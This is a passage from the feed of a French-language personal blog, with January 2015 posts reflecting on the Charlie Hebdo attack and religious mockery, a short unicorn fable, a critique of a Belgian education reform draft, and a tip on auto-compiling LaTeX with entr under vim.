&lt;p&gt;Le combat de Charlie n&amp;rsquo;est pas de se moquer du Prophète. Chez Charlie, ce sont des « bouffeurs de curés » depuis les années soixante et la raison d&amp;rsquo;être de Charlie, c&amp;rsquo;est de se moquer de bousculer. Mettre de l&amp;rsquo;huile sur le feu (même si c&amp;rsquo;est pas drôle).&lt;/p&gt;
&lt;p&gt;&lt;img alt="charlie-hebdo-unpeudetout.jpg" src="/images/charlie-hebdo-unpeudetout.jpg" title="charlie-hebdo-unpeudetout.jpg, janv. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Charlie se moque des religions, de &lt;strong&gt;toutes les religions&lt;/strong&gt;. Tout (et tous) y passe(nt)&lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="charlie-hebdo-religions.jpg" src="/images/charlie-hebdo-religions.jpg" title="charlie-hebdo-religions.jpg, janv. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Le deuxième os est plus difficile à ronger …&lt;/p&gt;
&lt;p&gt;Les musulmans &lt;sup id="fnref2:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; me semblent plus sensibles que les catholiques ou les juifs au sujet de la moquerie (le mot &lt;em&gt;blasphème&lt;/em&gt; est d&amp;rsquo;ailleurs utilisé à hue et à dia). C&amp;rsquo;est sans doute assez nouveau pour eux et il faut s&amp;rsquo;y habituer (tout aussi bien eux que nous). Je peux me moquer du catholicisme. Je peux même me moquer des catholiques… mais je m&amp;rsquo;abstiens de me moquer de mon voisin / ami / collègue catholique. La religion relève de la sphère privée.&lt;/p&gt;
&lt;p&gt;Si je peux me permettre une analogie (trouvée au hasard de &lt;a href="https://twitter.com/search?q=%23JeSuisCharlie&amp;amp;src=tyah"&gt;#jesuischarlie&lt;/a&gt; et — un peu — vulgaire).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;La religion, c&amp;rsquo;est comme ta bite.&lt;br&gt;
C&amp;rsquo;est d&amp;rsquo;accord d&amp;rsquo;en avoir une.&lt;br&gt;
Tu peux même en être fier.&lt;br&gt;
Par contre,&lt;br&gt;
tu ne la montres pas en public,&lt;br&gt;
tu ne le mets pas dans les enfants,&lt;br&gt;
tu n&amp;rsquo;écris pas de lois avec,&lt;br&gt;
tu ne tires pas avec (heu),&lt;br&gt;
et tu ne penses pas avec.&lt;/p&gt;
&lt;p&gt;Traduction libre de ce &lt;a href="https://twitter.com/KlarAgora/status/553563947442642944"&gt;tweet&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si une image, une blague me fait rire, je la partage au monde entier ou à ceux qui en riront aussi. Je ne la montre pas à mon proche qui n&amp;rsquo;appréciera pas cet humour. On peut rire de tout, on doit rire de tout. On ne peut pas choquer délibérément son voisin.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://nota-bene.org/Un-vrai-drame-peut-on-rire-de-tout"&gt;On ne peut pas rire d&amp;rsquo;une Cracotte qui casse&lt;/a&gt;. Faut pas exagérer !&lt;/p&gt;
&lt;p&gt;Cher voisin musulman, je &lt;a href="http://www.slate.fr/story/96597/musulmans-desolidariser-charlie-hebdo"&gt;ne te demande absolument pas de te désolidariser&lt;/a&gt;. J&amp;rsquo;aime quand &lt;a href="http://www.yabiladi.com/articles/details/32499/meurtres-charlie-hebdo-nous-musulmans.html"&gt;tu t&amp;rsquo;exprimes&lt;/a&gt;. J&amp;rsquo;aime aussi quand tu es moins susceptible, quand tu prends du recul. Si je me moque de la religion, je ne me moque pas de toi. D&amp;rsquo;ailleurs, rappelle-toi que je peux rire de moi sans soucis.&lt;/p&gt;
&lt;p&gt;On ne tue pas les gens parce que l&amp;rsquo;on n&amp;rsquo;est pas d&amp;rsquo;accord avec eux… enfin normalement.&lt;/p&gt;
&lt;p&gt;Si tu n&amp;rsquo;aimes pas le travail de Charlie Hebdo, tu n&amp;rsquo;achètes pas son journal. C&amp;rsquo;est tout.&lt;/p&gt;
&lt;p&gt;Je termine par une confession, c&amp;rsquo;est de bon aloi. Je n&amp;rsquo;achète ni &lt;a href="http://www.closermag.fr/"&gt;Closer&lt;/a&gt;, ni &lt;a href="http://www.parismatch.com/"&gt;Paris Match&lt;/a&gt;, ni la &lt;a href="http://www.dhnet.be/"&gt;DH&lt;/a&gt;… ni Charlie Hebdo. C&amp;rsquo;est mon choix et ça m&amp;rsquo;est fichtrement égal que tu l&amp;rsquo;achètes &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; ou pas.&lt;/p&gt;
&lt;p&gt;Demain, j&amp;rsquo;achèterai mon premier et sans doute mon dernier Charlie Hebdo …&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo &lt;a href="http://decors.deviantart.com/art/Ashes-to-Ashes-191892888"&gt;decors&lt;/a&gt;, &lt;a href="http://charliehebdo.fr/"&gt;Charb&lt;/a&gt;, &lt;a href="http://charliehebdo.fr/"&gt;Luz&lt;/a&gt;, &lt;a href="http://charliehebdo.fr/"&gt;Wolinski&lt;/a&gt;, &lt;a href="http://charliehebdo.fr/"&gt;Catherine&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Une prof a pris le temps de demander l&amp;rsquo;avis de ses élèves et a constaté que, malgré que le quartier soit réputé difficile, ses élèves ont l&amp;rsquo;intelligence de réfléchir à la situation et a ne pas cautionner le « Ils l&amp;rsquo;ont cherchés »&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;J&amp;rsquo;ai bien dit « Les musulmans » et pas « Tous les musulmans ». Je ne cherche pas ici à faire des généralités mais à exprimer mon ressenti.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;a class="footnote-backref" href="#fnref2:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Je ne sais pas si c&amp;rsquo;est l&amp;rsquo;habitude de lui donner sa majuscule mais comme Dieu et Yahvé en bénéficient je trouve que c&amp;rsquo;est mieux que tout le monde l&amp;rsquo;ait.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Une simple recherche avec les mots clés [charlie hebdo couverture] ou [covers] donne une bonne idée du meilleur comme du pire.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Par contre, ça m&amp;rsquo;intéresse de savoir en combien d&amp;rsquo;exemplaires est vendu un journal. Finalement n&amp;rsquo;est-ce pas plus inquiétant de savoir que Paris Match se vend mieux que Charlie Hebdo ?&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Crois-tu en la licorne rose invisible ?</title><link href="http://blog.namok.be/2015-01-09-la-licorne-rose-invisible.html" rel="alternate"/><published>2015-01-09T00:00:00+01:00</published><updated>2015-01-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-01-09:/2015-01-09-la-licorne-rose-invisible.html</id><summary type="html">Fiction en hommage à Charlie hebdo</summary><content type="html">&lt;p&gt;&lt;img alt="Unicorn_by_rusa1ka.jpg" src="/images/Unicorn_by_rusa1ka.jpg" title="Unicorn_by_rusa1ka.jpg, janv. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Mon meilleur ami ne croit pas seulement &lt;strong&gt;à&lt;/strong&gt; l&amp;rsquo;existence de la licorne rose invisible, il &lt;a href="http://www.etudes-litteraires.com/forum/topic30590-croire-en-lavenir-croire-a-lavenir.html"&gt;croit &lt;strong&gt;en&lt;/strong&gt;&lt;/a&gt; la licorne rose invisible.&lt;/p&gt;
&lt;p&gt;Il veut bien accepter que les licornes n&amp;rsquo;existent pas mais il est persuadé que &lt;em&gt;la&lt;/em&gt; Licorne rose invisible existe.&lt;/p&gt;
&lt;p&gt;Moi pas.&lt;/p&gt;
&lt;p&gt;Je trouve absurde de croire en quelque chose que je ne peux pas voir. Et pourtant, je ne me suis jamais dit que mon meilleur ami était bête ni même crédule ou pire, « psychologiquement faible ». Nous ne sommes pas d&amp;rsquo;accord c&amp;rsquo;est tout. Nous en parlons souvent et ça emmène des discussions parfois longues, souvent drôles et toujours animées.&lt;/p&gt;
&lt;p&gt;— Comment peux-tu savoir qu&amp;rsquo;elle est rose si elle est invisible ?&lt;br&gt;
— Je ne le &lt;strong&gt;sais&lt;/strong&gt; pas, je le &lt;strong&gt;crois&lt;/strong&gt;. Si je la voyais, je ne ferais pas acte de foi !&lt;br&gt;
— Et qu&amp;rsquo;est-ce que ça t&amp;rsquo;apporte de croire en cette licorne rose ?&lt;br&gt;
— C&amp;rsquo;est comme l&amp;rsquo;amour, ça ne m&amp;rsquo;apporte rien… mais ça change tout.&lt;/p&gt;
&lt;p&gt;Mon ami croit en la licorne rose. Je ne crois pas que cette licorne existe.&lt;/p&gt;
&lt;p&gt;Jamais nous ne nous sommes frappés.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;That&amp;rsquo;s all folks&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cette fiction (c&amp;rsquo;est bien une fiction car je n&amp;rsquo;ai pas d&amp;rsquo;ami en fait ;-) ) me vient de l&amp;rsquo;actualité de ce mercredi 7 janvier 2015 où 12 personnes ont ~~trouvés la mort~~ été assassinées au nom d&amp;rsquo;une religion qui appelle pourtant au respect de la vie et interdit de tuer.&lt;/em&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;L&amp;rsquo;image et l&amp;rsquo;utilisation de la &lt;a href="http://fr.wikipedia.org/wiki/Licorne_rose_invisible"&gt;Licorne rose invisible&lt;/a&gt; n&amp;rsquo;est pas neuve, elle date des année nonante.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://rusa1ka.deviantart.com/art/Unicorn-109267327"&gt;Rusa1ka&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>J'ai lu pour vous le draft pour le pacte d'excellence de l'enseignement francophone</title><link href="http://blog.namok.be/2015-01-07-pacte-excellence-enseignement-draft.html" rel="alternate"/><published>2015-01-07T00:00:00+01:00</published><updated>2015-01-07T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-01-07:/2015-01-07-pacte-excellence-enseignement-draft.html</id><summary type="html">J'ai lu pour vous le draft pour le pacte d'excellence de l'enseignement francophone</summary><content type="html">&lt;p&gt;&lt;img alt="stairway_to_heaven_by_rattattart.jpg" src="/images/stairway_to_heaven_by_rattattart.jpg" title="stairway_to_heaven_by_rattattart.jpg, janv. 2015"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.joellemilquet.be/2014/12/les-indicateurs-de-lenseignement-pour-lannee-2014/"&gt;Joëlle Milquet&lt;/a&gt; fait état dans la &lt;a href="http://www.lalibre.be/actu/belgique/milquet-lance-son-pacte-d-excellence-pour-l-enseignement-54ace3893570d587e327d793"&gt;presse&lt;/a&gt; de la mise en œuvre de l&amp;rsquo;élaboration du &lt;strong&gt;pacte pour l&amp;rsquo;excellence de l&amp;rsquo;enseignement francophone&lt;/strong&gt;. J&amp;rsquo;ai lu pour vous le &lt;em&gt;draft&lt;/em&gt; confidentiel.&lt;/p&gt;
&lt;p&gt;Le document compte 34 pages.&lt;/p&gt;
&lt;p&gt;Les 14 premières pages font un état des lieux de la situation de l&amp;rsquo;enseignement francophone telle qu&amp;rsquo;elle est perçue par les différents indicateurs.&lt;/p&gt;
&lt;p&gt;Ceux qui sont proches de l&amp;rsquo;enseignement, ceux qui le sont moins et même La Palice (&lt;a href="http://www.triumph-belgium.be/pages/hier/lapalisse.htm"&gt;après sa mort&lt;/a&gt;) ne seront pas surpris par ce long état des lieux qui dit en substance que de bonnes choses se font dans l&amp;rsquo;enseignement tant général que technique ou professionnel et qu&amp;rsquo;il reste des défauts.&lt;/p&gt;
&lt;p&gt;Le &lt;em&gt;draft&lt;/em&gt; s&amp;rsquo;intéresse à la qualité, l&amp;rsquo;équité, la modernité et l&amp;rsquo;efficacité de l&amp;rsquo;enseignement.&lt;/p&gt;
&lt;p&gt;Sans reprendre ici les arguments présentés qui sont quasi connus de tous, je donne quelques chiffres qui m&amp;rsquo;ont (un peu) surpris à la lecture du document.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Il y a une quantité non négligeable (combien ?) d&amp;rsquo;élèves qui obtiennent entre 50% et 60% au CEB.&lt;/li&gt;
&lt;li&gt;19% des élèves de 15 ans restent en grande difficulté de lecture.&lt;/li&gt;
&lt;li&gt;Le taux de décrochage est anormalement élevé; ±20% dans le Hainaut et à Bruxelles et 9% en Flandre (&lt;em&gt;no comment&lt;/em&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le &lt;em&gt;draft&lt;/em&gt; dit que le taux d&amp;rsquo;échec et de redoublement est trop important (même en maternelle et en primaire) et que 95% des élèves obtiennent leur CEB ce qui m&amp;rsquo;emmène deux questions:&lt;/p&gt;
&lt;p&gt;— Est-ce que tout le monde doit obtenir son CEB ?&lt;br&gt;
— Que faire pour éviter le redoublement ?&lt;/p&gt;
&lt;p&gt;À la première question, je répondrais &lt;strong&gt;« oui »&lt;/strong&gt;. Ce qui ne doit pas induire un abaissement du niveau du CEB comme &lt;a href="http://www.lalibre.be/debats/opinions/un-ceb-de-pacotille-51cbb414357030bb907b93eb"&gt;on l&amp;rsquo;entend souvent&lt;/a&gt; mais impose une meilleure prise en charge des élèves en difficultés.&lt;/p&gt;
&lt;p&gt;À la première question, je répondrais &lt;strong&gt;« non »&lt;/strong&gt; (ben, on peut changer d&amp;rsquo;avis). Dès lors que l&amp;rsquo;élève souffre d&amp;rsquo;un handicap, il doit être accompagné pour s&amp;rsquo;intégrer au mieux dans la société en fonction de son handicap.&lt;/p&gt;
&lt;p&gt;À la seconde question, je n&amp;rsquo;ai pas de réponse. Comme de toute façon je change d&amp;rsquo;avis, c&amp;rsquo;est sans doute mieux comme ça !&lt;/p&gt;
&lt;p&gt;Ce &lt;em&gt;draft&lt;/em&gt; nous rappelle que l&amp;rsquo;enseignement est peu équitable et que le qualifiant est trop souvent assimilé à une filière de relégation. Nous ne le savons que trop bien. Si les différences proviennent sans surprise du milieu social et de l&amp;rsquo;établissement (on parle d&amp;rsquo;école plus ou moins performante) elles sont aussi liées au redoublement. Doubler ne permet pas de mieux réussir &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Le rapport montre peu de disparité en fonction du genre et de l&amp;rsquo;origine (au sens immigration) mais souligne des disparités en fonction de l&amp;rsquo;origine sociale et du type d&amp;rsquo;enseignement. Pas de surprise, le gouvernement fait le constat qu&amp;rsquo;au fur et à mesure de l&amp;rsquo;avancement dans les années du secondaire, le glissement des étudiants se fait du général vers le professionnel en passant par le technique au fur et à mesure des redoublements. L&amp;rsquo;environnement social de l&amp;rsquo;étudiant étant intimement lié à ce constat. Se retrouvent donc en professionnel des élèves issus d&amp;rsquo;un milieu social défavorisé et ayant souvent redoublés.&lt;/p&gt;
&lt;p&gt;Le taux de réussite dans l&amp;rsquo;enseignement supérieur est, comme toujours, jugé trop faible. Dans ce cas, le taux de réussite est « genré »; les filles réussissent mieux que les garçons. Et les étudiants « à l&amp;rsquo;heure » (sans redoublement) sont aussi majoritairement des filles.&lt;/p&gt;
&lt;p&gt;70% des élèves ayant terminés le secondaire entament des études supérieures. Ceci m&amp;rsquo;amène une troisième question pour laquelle je n&amp;rsquo;ai pas de réponse non plus:&lt;/p&gt;
&lt;p&gt;— À l&amp;rsquo;heure où il manque du personnel qualifié, est-ce qu&amp;rsquo;entamer des études supérieures est (encore) indispensable ?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Les enseignants « travaillent comme ils peuvent à l&amp;rsquo;intérieur d’un système dont ils perçoivent les dysfonctionnements mais qu&amp;rsquo;ils sont malheureusement impuissants à changer ».  &lt;/p&gt;
&lt;p&gt;&lt;a href="http://directory.unamur.be/research/publications/201235ff-4b5d-48fd-8e44-c1325e085e3b"&gt;Robert Deschamps « Un meilleur enseignement : nous le pouvons si nous le voulons »&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;À la page 9, le &lt;em&gt;draft&lt;/em&gt; parle des &lt;em&gt;acteurs de l&amp;rsquo;enseignement&lt;/em&gt; dont les enseignants font partie en des termes assez élogieux. J&amp;rsquo;ai un peu l&amp;rsquo;impression de me faire sucer et comme ce n&amp;rsquo;est pas désagréable, je cite &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Les enseignants doivent faire face à une nouvelle société numérique d’accès libre aux savoirs, à de nouveaux jeunes, aux origines et problèmes multiples, venant de familles aux habitudes et à l’implication pédagogique diverses, dans un contexte où l’autorité parentale s’est affaiblie, où les références, valeurs, rythmes de vie sont bousculés. Ils exercent une des missions les plus fondamentales, les plus évolutives et les plus difficiles de notre société, mais, paradoxalement, leur profession n’est pas assez attirante socialement et financièrement et est trop souvent délaissée par un certain type d’étudiants au profit de carrières mieux valorisées et rémunérées relevant du secteur marchand et du monde de l’entreprise.  &lt;/p&gt;
&lt;p&gt;Extrait du &lt;em&gt;draft&lt;/em&gt; pour la préparation du Pacte de l&amp;rsquo;excellence de l&amp;rsquo;enseignement&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ces 14 pages dressant l&amp;rsquo;état des lieux se terminent par une mise en situation d&amp;rsquo;urgence.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Le renforcement de la qualité de l&amp;rsquo;enseignement francophone est devenu une urgence collective.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Après avoir rappelé que l&amp;rsquo;enseignement est le premier vecteur du développement personnel et collectif mais également du développement collectif de la société le document passe à l&amp;rsquo;étape « &lt;em&gt;&lt;a href="https://www.kickstarter.com/"&gt;kickstarter&lt;/a&gt;&lt;/em&gt; » !&lt;/p&gt;
&lt;p&gt;On nous rappelle quelles seront les priorités du pacte pour nous mener à l&amp;rsquo;excellence (je dis ça sans humour).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;L&amp;rsquo;objectif du pacte pour l&amp;rsquo;excellence de l&amp;rsquo;enseignement francophone est le renforcement de la qualité par les acteurs scolaires, les élèves, les contenus, l&amp;rsquo;organisation et les ressources.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Les priorités du pacte sont (oh surprise); l&amp;rsquo;accompagnement de l&amp;rsquo;élève pour le tirer vers le haut, l&amp;rsquo;accompagnement des acteurs de l&amp;rsquo;enseignement — pour les former, les valoriser, les soutenir —, l&amp;rsquo;offre d&amp;rsquo;enseignement plus ancrée dans le XXI et une meilleure gestion &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Les pages suivantes vont insister sur l&amp;rsquo;aspect &lt;strong&gt;participatif&lt;/strong&gt; de l&amp;rsquo;élaboration du pacte pour l&amp;rsquo;excellence de l&amp;rsquo;enseignement francophone.&lt;/p&gt;
&lt;p&gt;Un &lt;a href="http://pactedexcellence.be/"&gt;site web&lt;/a&gt; sera mis en place le 26 janvier 2015 pour informer et recueillir les avis des acteurs de l&amp;rsquo;enseignement avant la publication du &lt;strong&gt;pacte d&amp;rsquo;excellence de l&amp;rsquo;enseignement&lt;/strong&gt;. Non seulement les acteurs de l&amp;rsquo;enseignement mais le monde politique et… le citoyen seront consultés.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;[sarcasme] Si un site web est mis en place et que tout le monde est consulté, alors tout va bien, c&amp;rsquo;est gagné ! [/sarcasme]&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Les pages 15 à 22 sont une explication de la démarche utilisée et, surtout, une promotion crasse permettant de fédérer un maximum de monde autour du projet.&lt;/p&gt;
&lt;p&gt;Vient ensuite le planning détaillé.&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/screenshot-pacte-1.png" title="screenshot-pacte-1.png"&gt;&lt;img alt="Les différentes phases de l'élaboration du pacte" src="/images/screenshot-pacte-1.png" title="screenshot-pacte-1.png, janv. 2015"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Phase 1&lt;/strong&gt; (janvier 2015 à mi-avril 2015)&lt;br&gt;
    État des lieux, diagnostic de l&amp;rsquo;état actuel de la situation et définition de l&amp;rsquo;objectif de l&amp;rsquo;enseignement (pp 23-25)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phase 2&lt;/strong&gt; (avril 2015 à décembre 2015)&lt;br&gt;
    Plans d&amp;rsquo;actions visant à renforcer la qualité de l&amp;rsquo;enseignement (pp 25-29)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phase 3&lt;/strong&gt; (janvier 2016 à mars 2016)&lt;br&gt;
    Dernière étape, explication, sensibilisation et discussion participative (décidément ce mot revient tout le temps) autour du projet de pacte d&amp;rsquo;excellence de l&amp;rsquo;enseignement (pp 29-30)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phase 4&lt;/strong&gt; (avril 2016)&lt;br&gt;
    Adoption du pacte et d&amp;rsquo;un plan de mise en œuvre (p 30)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phase 5&lt;/strong&gt; (2015 à 2015)&lt;br&gt;
    Mise en œuvre du pacte pour l&amp;rsquo;excellence de l&amp;rsquo;enseignement.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les dernières pages précisent &lt;em&gt;qui fait quoi&lt;/em&gt; en précisant quels sont les groupes de travail.&lt;/p&gt;
&lt;p&gt;Il reste à savoir où et comment s&amp;rsquo;impliquer si l&amp;rsquo;on veut être un acteur.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;N&amp;rsquo;hésitez pas à partager l&amp;rsquo;article.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://rattattart.deviantart.com/art/stairway-to-heaven-104038296"&gt;Rattattart&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;L&amp;rsquo;idée d&amp;rsquo;organiser une deuxième différenciée en fin de premier cycle par exemple est une bonne idée pour éviter le redoublements « bête ». Cette année supplémentaire est une année permettant aux élèves d&amp;rsquo;arriver au même niveau en un peu plus de temps. Dommage que ce soit si difficile à mettre en œuvre au quotidien dans les écoles.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;C&amp;rsquo;est grâce à des formulations comme celle-là que ce que j&amp;rsquo;écris est rarement répété, lié, cité, … Et pourtant c&amp;rsquo;est tellement bien dit ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Là, il est écrit en petit « réduction des couts de fonctionnement ».&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Je suis Charlie</title><link href="http://blog.namok.be/2015-01-07-Je-suis-Charlie.html" rel="alternate"/><published>2015-01-07T00:00:00+01:00</published><updated>2015-01-07T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-01-07:/2015-01-07-Je-suis-Charlie.html</id><summary type="html">Je suis Charlie</summary><content type="html">&lt;p&gt;&lt;img alt="pit-charliehebdo.jpg" src="/images/pit-charliehebdo.jpg" title="pit-charliehebdo.jpg, janv. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Ce mercredi, c&amp;rsquo;est sérieux.&lt;br&gt;
Même sans aucun talent, prends ton crayon et fais un dessin.&lt;/p&gt;</content></entry><entry><title>Comment éviter de lancer une compilation de LaTeX à chaque modification sous vim ?</title><link href="http://blog.namok.be/2014-12-22-comment-eviter-de-compiler-lalex-a-chaque-modification-sous-vim.html" rel="alternate"/><published>2014-12-22T00:00:00+01:00</published><updated>2014-12-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-12-22:/2014-12-22-comment-eviter-de-compiler-lalex-a-chaque-modification-sous-vim.html</id><summary type="html">entr, cette commande linux qui surveille les changements d'un fichier.</summary><content type="html">&lt;p&gt;J&amp;rsquo;utilise beaucoup vim et LaTex, ils me permettent &lt;a href="2014-09-08-editer-rapidement-ses-fichiers-latex-avec-vim.html"&gt;d&amp;rsquo;éditer rapidement mes fichiers&lt;/a&gt;. Il restait un tout petit point négatif par rapport à des programmes comme &lt;a href="http://www.xm1math.net/texmaker/"&gt;TexMaker&lt;/a&gt; qui compilent en tâche de fond.&lt;/p&gt;
&lt;p&gt;Bien que j&amp;rsquo;utilise linux tous les jours, je ne connaissais pas &lt;strong&gt;inotify&lt;/strong&gt; et son paquet associé &lt;strong&gt;inotify-tools&lt;/strong&gt;. Ni même, encore mieux, la commande &lt;strong&gt;entr&lt;/strong&gt; associée au paquet du même nom.&lt;/p&gt;
&lt;p&gt;Le principe est la détection d&amp;rsquo;un changement dans le &lt;em&gt;filesystem&lt;/em&gt;: ajout d&amp;rsquo;un fichier dans un répertoire, modification d&amp;rsquo;un fichier… La commande &lt;code&gt;entr&lt;/code&gt; permet d&amp;rsquo;associer une commande à une modification dans le &lt;em&gt;filesystem&lt;/em&gt;. Par exemple, on pourra lancer une compilation dès lors qu&amp;rsquo;un fichier est modifié !&lt;/p&gt;
&lt;p&gt;Avant, je faisais:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;édition de mes fichiers sources avec &lt;em&gt;vim&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;compilation pour générer un pdf (via &lt;code&gt;pdflatex&lt;/code&gt; par le biais d&amp;rsquo;un make (ou pas));&lt;/li&gt;
&lt;li&gt;visualisation avec &lt;em&gt;&lt;a href="https://pwmt.org/projects/zathura/"&gt;zathura&lt;/a&gt;&lt;/em&gt; (non pas &lt;em&gt;acroread&lt;/em&gt; ni &lt;em&gt;xpdf&lt;/em&gt;) &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Maintenant, je fais:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;je lance dans un terminal une commande du style &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; ;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ls&lt;span class="w"&gt; &lt;/span&gt;sources/*&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;entr&lt;span class="w"&gt; &lt;/span&gt;make&lt;span class="w"&gt; &lt;/span&gt;dist/presentation-seance-1.pdf&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;édition de mes fichiers sources avec &lt;em&gt;vim&lt;/em&gt;;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;visualisation avec &lt;em&gt;zathura&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dès que je sauve mon fichier sous &lt;em&gt;vim&lt;/em&gt;, la compilation se lance toute seule et je vois apparaitre la nouvelle version dans &lt;em&gt;zathura&lt;/em&gt;. Cool !&lt;/p&gt;
